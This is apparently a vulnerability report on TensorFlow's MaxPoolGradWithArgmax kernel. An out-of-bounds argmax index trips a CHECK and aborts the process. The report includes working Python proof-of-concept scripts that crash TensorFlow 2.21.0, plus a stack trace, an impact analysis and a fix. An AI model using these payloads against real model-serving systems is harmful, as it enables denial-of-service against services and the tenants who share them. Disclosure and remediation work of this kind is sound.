YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
MaxPoolGradWithArgmax: attacker-controlled out-of-bounds argmax index triggers CHECK-fail (LOG(FATAL)) -> SIGABRT process abort / DoS
Summary
tf.raw_ops.MaxPoolGradWithArgmax validates each attacker-supplied flattened
argmax index with an unconditional CHECK (i.e. LOG(FATAL)) instead of a
graceful OP_REQUIRES / InvalidArgument status. When an argmax value lies
outside the valid flattened-input range for its pooling window (e.g. 999999, or
a negative value such as -5, against a 16-element input), the CHECK fires and
calls abort(), killing the entire hosting process with SIGABRT.
Because argmax is an ordinary graph tensor, its value is fully
attacker-controlled. The op is directly callable via tf.raw_ops and can be
embedded in a crafted GraphDef / SavedModel; loading and running such a model
aborts the process. This is the classic TensorFlow pattern where a bounds check
was implemented with CHECK / LOG(FATAL) rather than a graceful error return,
converting a memory-safety concern into an unauthenticated process-killing
denial-of-service.
Target
- Component: TensorFlow op-kernel β
MaxPoolGradWithArgmax - File:
tensorflow/core/kernels/maxpooling_op.cc(LaunchMaxPoolingGradWithArgmax<Device, T>::launch, ~line 1090) - Verified against: PyPI
tensorflow==2.21.0(CPU) on Linux x86-64 - Op surface:
tf.raw_ops.MaxPoolGradWithArgmax(also reachable via anyGraphDef/SavedModelcontaining theMaxPoolGradWithArgmaxnode)
Root cause
The kernel loops over the incoming gradient elements and, for each, reads the
corresponding flattened destination index directly out of the attacker-supplied
argmax tensor. It then validates that index against the window's
[output_start, output_end) range using a CHECK:
// tensorflow/core/kernels/maxpooling_op.cc (~line 1090)
auto shard = [&config, &top_diff_flat, &bottom_diff_flat, &mask_flat,
include_batch_in_index](int64_t start, int64_t limit) {
// ...
const int64_t output_start = ...;
const int64_t output_end = output_start + ...;
for (int64_t index = start; index < limit; ++index) {
int64_t grad_out_index = mask_flat(index); // <-- attacker-controlled
if (!include_batch_in_index) {
grad_out_index += ...;
}
// Unconditional CHECK == LOG(FATAL) == abort() on failure:
CHECK(grad_out_index >= output_start && grad_out_index < output_end)
<< "Invalid output gradient index: " << grad_out_index << ", "
<< output_start << ", " << output_end;
bottom_diff_flat(grad_out_index) += top_diff_flat(index);
}
};
A CHECK in TensorFlow expands to LOG(FATAL), which prints the message and a
stack trace and then calls abort(). There is no path to return an
InvalidArgument Status to the caller β the process simply dies. The correct
pattern here would be OP_REQUIRES(context, cond, errors::InvalidArgument(...)),
which raises a catchable Python exception instead of aborting.
Both an over-large index (999999) and a negative index (-5) fail the check,
confirming the missing graceful handling in both directions.
Proof of Concept
Environment: real PyPI tensorflow==2.21.0 in venv /home/kali/tfcheck_test/venv.
Crash PoC β mpg_repro.py
import faulthandler, sys
faulthandler.enable()
import tensorflow as tf
print("TF", tf.__version__, flush=True)
out = tf.raw_ops.MaxPoolGradWithArgmax(
input=tf.ones([1,4,4,1]),
grad=tf.ones([1,2,2,1]),
argmax=tf.constant([[[[999999],[0]],[[0],[0]]]], dtype=tf.int64),
ksize=[1,2,2,1], strides=[1,2,2,1], padding="VALID")
print("NO CRASH", out.shape, flush=True)
Result: process aborts with SIGABRT (rc = 134) before "NO CRASH" prints.
Negative control β mpg_neg.py (isolates the fault to the OOB value)
import tensorflow as tf
# same op, all argmax indices IN-BOUNDS (0..15 for a 1x4x4x1 input) -> must succeed cleanly
out = tf.raw_ops.MaxPoolGradWithArgmax(
input=tf.ones([1,4,4,1]),
grad=tf.ones([1,2,2,1]),
argmax=tf.constant([[[[0],[2]],[[8],[10]]]], dtype=tf.int64),
ksize=[1,2,2,1], strides=[1,2,2,1], padding="VALID")
print("NEG CONTROL OK ->", out.shape.as_list(), "sum", float(tf.reduce_sum(out)))
Result: clean exit rc = 0, output shape [1, 4, 4, 1], sum 4.0. Identical
op invocation with only the argmax values changed to in-bounds indices β proves
the fault is the OOB value, not the op call itself.
Negative-index variant β mpg_neg_idx.py (confirms the other direction)
import tensorflow as tf
out = tf.raw_ops.MaxPoolGradWithArgmax(
input=tf.ones([1,4,4,1]), grad=tf.ones([1,2,2,1]),
argmax=tf.constant([[[[-5],[0]],[[0],[0]]]], dtype=tf.int64),
ksize=[1,2,2,1], strides=[1,2,2,1], padding="VALID")
print("OUT", out.shape)
Result: process aborts with SIGABRT (rc = 134) β same missing bounds
handling for a negative index.
Captured evidence (verbatim, TF 2.21.0)
F0000 00:00:1784214913.645251 399109 maxpooling_op.cc:1090] Check failed: grad_out_index >= output_start && grad_out_index < output_end Invalid output gradient index: 999999, 0, 16
*** Check failure stack trace: ***
@ 0x7f43192ce564 absl::...::LogMessage::SendToLog()
@ 0x7f43053a896d tensorflow::LaunchMaxPoolingGradWithArgmax<>::launch()::{lambda()#1}::operator()()
@ 0x7f4318f555fd Eigen::ThreadPoolDevice::parallelFor()
@ 0x7f43053a826f tensorflow::MaxPoolingGradWithArgmaxOp<>::Compute()
@ 0x7f431818f300 tensorflow::ThreadPoolDevice::Compute()
@ 0x7f4313b78147 tensorflow::EagerOperation::Execute()
@ 0x7f4310a9b395 TFE_Execute
Fatal Python error: Aborted
Return codes: crash rc = 134 (SIGABRT); negative control rc = 0 (clean
output shape [1,4,4,1], sum 4.0); negative-index variant rc = 134.
Positive-control note: the fuzz harness that surfaced this distinguishes signal
aborts (rc < 0 / 134) from the ~120 other clean InvalidArgument negatives
observed across 7 fuzz rounds, so the many hardened negatives are genuine
hardening, not harness gaps β this op is a real outlier that reaches abort().
Impact
- Type: Denial of Service (unauthenticated process abort / crash).
- Vector: Any service that loads and runs an untrusted
SavedModel/GraphDef, or that exposestf.raw_ops/ graph execution to attacker input, can be crashed on demand. A single craftedargmaxvalue inside a model file is sufficient β no valid data, credentials, or special privileges required. - Result: The entire hosting Python/TF process is killed via
SIGABRT; any co-hosted work (other model requests, in-memory state) is lost. In multi-tenant or serving contexts (model-hosting platforms, inference servers) this is a reliable remote DoS triggered purely by model content.
Suggested fix
Replace the CHECK with a graceful OP_REQUIRES that returns
errors::InvalidArgument(...) so the invalid index raises a catchable status
instead of aborting the process β matching how the rest of the kernel surface
validates untrusted tensor contents.
Dedup / prior-art note
This is the MaxPoolGradWithArgmax variant of TensorFlow's well-known
CHECK-fail-as-DoS class (many historical GHSA advisories cover
CHECK/LOG(FATAL) reachable from attacker-controlled tensor content across
different kernels). No CVE/GHSA specific to an out-of-bounds argmax index in
MaxPoolGradWithArgmax's LaunchMaxPoolingGradWithArgmax::launch CHECK at
maxpooling_op.cc:~1090 was found for the current tensorflow==2.21.0 release;
the bug reproduces on that latest released build. The related forward/other
argmax kernels validate bounds gracefully, which is why this specific gradient
kernel stands out.